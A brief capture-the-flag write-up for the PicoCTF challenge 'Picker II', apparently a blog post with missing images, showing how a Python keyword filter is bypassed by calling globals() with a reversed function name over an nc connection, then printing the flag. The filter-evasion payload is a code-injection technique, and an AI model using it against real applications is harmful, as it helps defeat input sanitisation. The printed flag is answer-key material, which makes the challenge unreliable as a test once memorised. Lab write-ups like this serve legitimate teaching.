we will solve Picker II from PicoCTF

Untitled

now let’s download the code and start analysis

Untitled

mmm notice that this time the word win is filtered we need another way to get around the word!

what about reversing the string !

nc saturn.picoctf.net 63112
==> globals()["".join(reversed("niw"))]()

Untitled

notice that when we reverse the string now the function is called and we bypassed the filter!

now let’s take this hex value to cyberchef to decode it

picoCTF{f1l73r5_f41l_c0d3_r3f4c70r_m1gh7_5ucc33d_b924e8e5}

Untitled

Amazing work Let’s go we got the Flag!